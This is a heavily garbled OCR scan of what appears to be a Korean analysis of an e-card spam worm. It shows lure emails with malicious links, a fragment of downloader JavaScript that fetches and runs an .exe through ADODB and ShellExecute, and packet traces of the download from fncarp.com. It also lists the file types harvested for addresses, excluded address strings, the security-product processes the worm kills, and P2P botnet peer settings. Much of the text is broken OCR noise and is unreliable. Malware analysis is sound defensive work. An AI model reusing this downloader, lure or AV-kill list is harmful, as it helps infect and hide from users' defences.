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* HlgWs o

Hi. Colleague has sent you a greeting ecard.
See your card as often as you wish during the next 15 days.

SEEING YOUR CARD

If your email software creates links to Web pages, click on your
card's direct www address below while you are connected to the Internet:

http://88.8[A442+]9.10/755844a4912b62c4232c3a%¢beed43 (URLFA= JHBX0ICH

Or copy and paste it into your browser's "Location" box (where Internet
addresses go).

We hope you enjoy your awesome card.
Wishing you the best,

Webmaster,
BlueMountain.Com

Family member(jbilones@qu[42F]utual.com) has created Animated e-card for
you
at americ[2442f]eetings.com.

To see your custom Animated e—card, simply click on the following

Internet address (if your mail program doesn't support this feature

you will need to COPY and PASTE the address into your browser's address
box):

http://68.4[242+]165/79dc7f80c760e2baa0067 (URLFAE= JHHEOICH

Send a FREE greeting card from americ[&2f]etings.com whenever you want
by visiting us at:

http://americal 44 2 Jeetings.com/

This service is provided and hosted by ameri[ 82 ]eetings.com.

Good day.

Your School friend has sent you Thank you card from netfu[442f]ds.com.
Click on your card's direct www address below:

http://68.5[242]180.218/ (URL=4A& JHHAOICH

Copyright (c) 1997-2007 netfuncards.com All Rights Reserved

Oh baby, | love what you sent me. Here is some pics to say thanks.
http://75.3[ 2428144127/ (URLE=AE JHHX0|CH)
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To view vour ecard, vou need to have Microsoft Data Access installed on vour computer.,
To obtain a free copy of Microzoft Data Access, please click here.
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function xor_str({plain_str, xor_key)

{ var xored_str = ";

for (var i = @ ; i < plain_str.length; ++i) xored str += String.fromCharCode{xor_key * plain_str.charCodeAt(i});
alert(xored_str);

return xored_str; }

201 oBEE FOHE

MS06-014: MS OIOIE &2 BEHE FHUAE

MS06-057: MS 2= EM)| FHIDE A FHAH

OHE AL FEFY 7.1.3015+2 HEOIA

RTSP(Real Time Stream Protocol) URLA 2| F &
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D ATNYH ZEE A4z FEAE g FR, dLI0l UG22E ¢ sys
==
o

file.php 22H MLS U222 20t sys[AHE42
Xt .exe mMPHo2 " W"E[-m“ NE 5tS AlsH

:\;g;;urIFleaIExe = ‘http:// 76! 6. 67/ file.php'+

E(V[D] 28 w[1] && «[2]) { var data = XMLHttpDownload(v[0]. urlRealExe) «

ft(data 1= 0) { var name = “Ci¥¥eys+GetPandString(d)+"exe”; SYS[BE] .exe S A= A&
E(ADOEIDStreamSave(v 1], name, data) == 13 { if (ShellExecute(v[2], name, n) == 1}

{ret=1; } b} bretumret } o

<o 4Xl o>
Prcu:ess Request Fath Result

Syerm

i) sys[giE].exe MY fncarp.com AIOIEZEE ecard.exe LS T
HIESIHO H& L Al
b2zt AZ2: "fncarp.com/ecard.exe"

HO
HU
In
ol
X

Process Requesi Path Result
I:] ST b CADocuments and S Hmm; ,ﬁuimlrn trg_h_ur\HPit‘}EEr,w:anip)p 35
= Py —— v = RTETTEEE
' Source Destination rotocol  Info
T e T ] e LUUS T LACR ] SEY=L00 ACR=J 30
z192.: 1 17 1a 26, .2 DNS Standard guery A fncarp.com
z 1a8.: 6 2 19 68, 107 DNS Standard guery response A B88.66.24.:
2 192.: 1 J7 88 .24 37 TCP 1085 » http [SYM] Segq=0 Len=0 MS5=1¢
z B8.61 4. 7 19 68, 107 TCP http > 1085 [S¥YN, AcCK] Seqg=0 aAck=1 \
.1 )7 88  .2: 37 TCP 1085 > http [AcK] Seg=l ack=1 win=1!
A B & > GET _/ecard, ex A

GET Jecard.exe HTTP/1.1hrAn

User-agent: Mozillas4.0 (compatible; MSIE 6.0; windows NT 5.1; SV1921)%r“n
Host: frncarp. comyriyn

Cache-Control: no=cachawryn

\rn

Frocess Request Fath Result
1, EX WRITE ChDocuments and Se

HALE X AE “click'” 238 286t R
o

=
— —/
S2CE . Y OIS ecard.exe?t SLI|IssS

iii) ecard.exe= XH4AlQ 2EHEsS 22
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ot =20l 2EHQ tepip.sys WY S HASHCL.

0y
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n§ +0||

J10d

~ notepad
=02 HE =212
Ty ZEIY FIVHA spoaldr
PRI - ]
Process Feguest Fath

Result

WRITE

SUCCESS

:l ecard exe: EEDD CLOSE C\WINDOWS\systemSE*\spDDIdr sys

Process Fequest Fath

[ ecard.exe:3720 LOCK, ChDocurments and Settingsiadministratotdhe #F%spooldrini
[ ecard.exe:3720 QUERYIMF...  CADocuments and SettingsiAdministratofHHE 21 hspooldrini

ecard.exe: 3720 READ C'\Ducuments and Settings\AdministratorHHEE grm\suuldr |n|

s
PCOHl ME= LEEZFH HEFLE FEo UHad=42 AHNHZS &2Setlh
SPCLHU MEZN U= MY S HLFA FES QIGHH OteHel SHEY s 2

Ist, dat, jsp, dhtm, mht, cgi, uni, oft, xls, sht, tbb, adb,

wsh, pl, php, asp, cfg, ods, mmf, nch, eml, mdx, mbx,

dbx, xml, stm, shtm, htm, msg, txt, wab

041B4E0)| 2 60173174 00700 00/00 ZE6

B4 61 74 00 00 00 00| . Tst... . dat ...
0476400 2E B4 73 70 00 00 00 00 2E 64 BB 74 BD 00 00 00| . jsp. .. ..dhtm. ..
7047B400 2E BD B8 74 00 00 00 00 2E 63 67 63 00 00 00 00| .wht.....cai....
“041B4E0 2E 75 B9 BE 00 00 00 00 2E 6F B6 74 00 00 00 00| .uin.....oft. ...
04164F0 | 2E 78 5C 73 00 00 00 00 2E 73 B8 74 00 00 00 00| .xls.....sht. ...
0476500 2E 74 2 62 00 00 00 00 2E 61 B4 §2 00 00 00 00| .thb. ....adb. ...
J041B210/2E 77 73 B 00 00 00 00 2E 70 C 00 2E 70 68 70| .wsh.....pl. phe
7041520 00 00 00 00 2E §1 73 70 00 00 00 00 2E B3 BE 67| ..... asp.....cfg
20476520/00 00 00 00 2E &F B4 73 00 00 00 00 2E £D 6D 68| .. ... ods. ... .mnf
704732000 00 00 00 2E BE B3 B8 00 00 00 00 2E &5 6D G| ..... nch. ... el
20470350 00 00 00 00 2E B0 64 78 00 00 00 00 2E &0 62 78/ ..... mex. .. . .mbx
7041B5E0/ 00 00 00 00 2E B4 B2 78 00 00 00 00 2E 78 BD 6C| .. ... dbsc. ..l
047E570/00 00 00 00 2E 73 74 ED 00 00 00 00 2E 73 B8 74| ..... stm.....sht
7047BE80 BD 00 00 00 2E B3 74 D 00 00 00 00 2E D 73 67|m....htm.... .msq
7041B520/00 00 00 00 2E 74 78 74 00 00 00 00 2E 77 B1 B2 ..... txt. .. . wab
10418540/00/ 00 00 00 73 70 6F 6F 6C 64 72 2E 69 BE 69 00|....spooldr. ini
Otchel 22 XNE0l ZEE N U= FL22= HYES LSotA 2=C0
postmaster@, root@, local, noreply, @avp, pgp, spam, cafee, panda,
abuse, samples, winrar, google, winzip, @messagelab, free-av, @iana,
@foo, sopho, certific, istserv, linux, bsd, unix, ntivi, support, icrosoft,

admin, kasp, noone@m nobody@, info, help@, gold-certs@, feste,

contract@, bugs@ anyone@, update, news, f-secur, rating@, @microsoft
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DO4TES4D| postmaster®, root@, | local .. noreply . ®@avp, .. pap.spam, ... cafee, .
D041EE0 | panda. . .abuse. . .samples.winrar. .google, winzip. . @messagelab. free
DO4TEACO| —av . @iana, . .@foo, ., .sopho, . cartific, .. listserv. ... linux. . .bsd,
DOATEADO (uni<. ... ntivi .. .support. icrosoft, .. .admin. . kase. .. .noone@,  nobo
DOATEALD | dv@, infoll, ,  help@, , gold-certs@, feste, ,  contract®, . bugs@, . . anvo
OOMBABO neld, update, .news. ... f-secur.rating®, @microsoft. .. Ist. ..., dat. ...

- A Y B
AFBR PCOF 2SS Ol 22 Ag K2f&0l RS0

sysotcm. exe

sysotcm.exell 2H7ESIHAM ZEOME S0 ELICE 2HE T
HEHM SELICH

™ =g S0ISI0HE, &g Z0|E 228 A ELIC

O] SFIHl CHTH Mlcrosof‘tml?ﬂ HEGIAAGHE 22 H
Microsohte 2l = 2= 28 HUS S S0 O
SIZ o2 Bg|erL |k

Ol SEH 23t TS HEE 220, 0712 SHERING
22 210 HY(3)
- &3tE 23
OtcH A EE Aot 2RI YSEHE LAY = UES S=F&tl

0

[ Interactive Dig
[ Interactive Dig
M MSMN Messe
A MATE O

= E!WW\NDOWSWBpDU\dr.exe |

i)

OuPre =22ty (&3 820 ECNN | EE
T
- Botug e 5 e grol
Otchet &2 Z28el Jls =S Lottt

watchdog.sys, zclient.sys, bcfilter.sys, beftdi.sys, bc_hassh_f.sys
be_ip_f.sys, bc_ngn.sys, bc_pat_f.sys, bc_prt_f.sys, bc_tdi_f.sys
filtnt.sys, sandbox.sys, mpfirewall.sys, msssrv.exe, mcsheld.exe
fshl.exe, avz.exe, avp.exe, avpm.exe, kav.exe, kavss.exe
kavsvc.exe, klswd.exe, ccapp.exe, ccevtmgr.exe, cCpXysvc.exe
1ao.exe, issvc.exe, rtvscan.exe, savscan.exe, bdss.exe, bdmcon.exe
livesrv.exe, cclaw.exe, fsav32.exe, fsm32.exe, gcasserv.exe
icmon.exe, inetupd.exe, nod32krn.exe, nod32Zra.exe, pavinsvr.exe
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- El &< PC22 pP2P E4
28 PCe= egHEdt LEE Opendltd, PP2PEZEEZES Sold U2 Z2<¥ PCElF =
AlSHCH S&AXIE P2PE Sotd Ed¥2 MY &2 YO O0IESHALE TIE 2442
CE Foi2 &Xlot= S-S0t ol &=
<P2P F4l o>
[=. Tirme Source Destination Srotocol  Info

] Pul

eponke ebonkey UD Publicize
eponke ebonkey UDP: Publicize
ebonke ebonkey UDP: Publicize

20.049484
81 20.050038
82 20.050130

Frame 79 (67 bytes on wire, 67 bytes captured)
Ethernet II, src: chetTech_4b:22:15 (00:08:al:4b:22:15), Dst: Cisco-Li_%e:%9a:aa (00:(
Internet Protocol, Src: 192.168.1.107 (192.168.1.107), Dst: B2.225.194.86 (82.225.1%
User Datagram Protocol, Src Port: 8665 (8665), Dst Port: 20333 (203330
ebonkey Protocol
= eDonkey Message

Protocol: ebDonkey (Oxe3)

Message Type: Publicize (Ox0Dc)

= overnet Peer
Hash: BBBES2364E29764803553A76CEB095870

Ip: En.t4 Sao cEm A s

Peer Type: O

Time Saource Destination 2rotocal | Info

ehonke eDo|

EUONE Sy FTOCOCTT
3 ebonkey Message
pProtocol: ebonkey (0xe3)
Message Type: Connect Reply (Oxo0b)
overnet peer List size: 20
= overnet Peer
Hash: FEFCS5CCD472C0AGDBDFL181415645EDS
IP: 202.28.249.97 (202.28.249.97)
Port: 33373
Peer Type: 0
overnst Peer
Hash: 559885C31E077PE02350800FC54 27E80
IP: 24.223.152.104 (24.223.192.104)
Port: 16814
Peer Type: 0
overnet Peer
Hash: SBD1OGB4F72B956583EE444DFB6A380F
IP: 82.95.27.2 (82.95.27.2)
Port: 17153
Peer Type: 0
overnst Peer
Hash: BCESECECCCYSF3AB97ESDMFSECOFDZED
IP: 67.68.11.143 (67.68.11.143)
Port: 26944
Peer Type: 0

¥ peer 82 &= HIESHO spooldr.ini It LA HEE.
<spooldr.ini It el HEOIO0IE 0>

[config]

ID=1766853358

[local]

uport=260822

[peers]

2455842739BD3BLMASFC B3SUEDA15DAB=47CBES1478B7 00
JUAPAG562E2BD2BECC14595DEBBYBS528=4C6L4DER181FF B0
D7EABCBB28626085785ACBCASS760B6DD=DB43 BALE185900
2993EF25948666401C57BBF61FA2D7D1=C99BA3F 1438200
OABS34B5119FFADEA1C3SBS5F63E8513A=DB5SBED8S7A2C 81
D6BFCBCAY3DUDE3161E71FAF86174422=CPE3DCACSIBEB2
2CC55FEGEES87B9FD9708879DD7 B8 122=596269EC228D 61
D793548C32694FBBCYAASSDB3I2ADBB98=18EBF2A7 BFB4 B0
5822E1FAD7HEA715AB BAGCASCF 40 B2 82=5518B687 94DCF B2
2D3BE37B5BYCB4C31ABBD8643FEBBBAS=3F4EF 682 894500
D7CBA958709FDO7B8879DD7 B81226548=522CF4E17FE200
C285D6BACSDCEBEGEEGDS11CDACBCAY3=4B33EBBE2634 088
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Il 2HI1s0 JASH, T2 BHE =M.
3. o2 iy
o QIHWIIIEDL £=AEACIH &ol=2 ot SEHAOIEN
2 A4 HEs 0 B, 2 d3E ZE6Al &
o0 AER0S0 et Al EorHH0IEE AlA
HE2IAHOIE AIEXS B2 Y MSH oA &= =&l
0 BHAIS ZIAMOZ AHI0IE L AAIZE ZAJIsSE 45
o DNS 22| Xt= fncarp.com AFOIEO0 CHald lookback
FIEOZ ZHL X L= 0ol 2EHCH

850 2eotlie RE2 28AdH
CS Foet.

otH, Winzio & Quicktime

=

HOO0IEE AAl

Ct.

22 M, DNS AFE XS0
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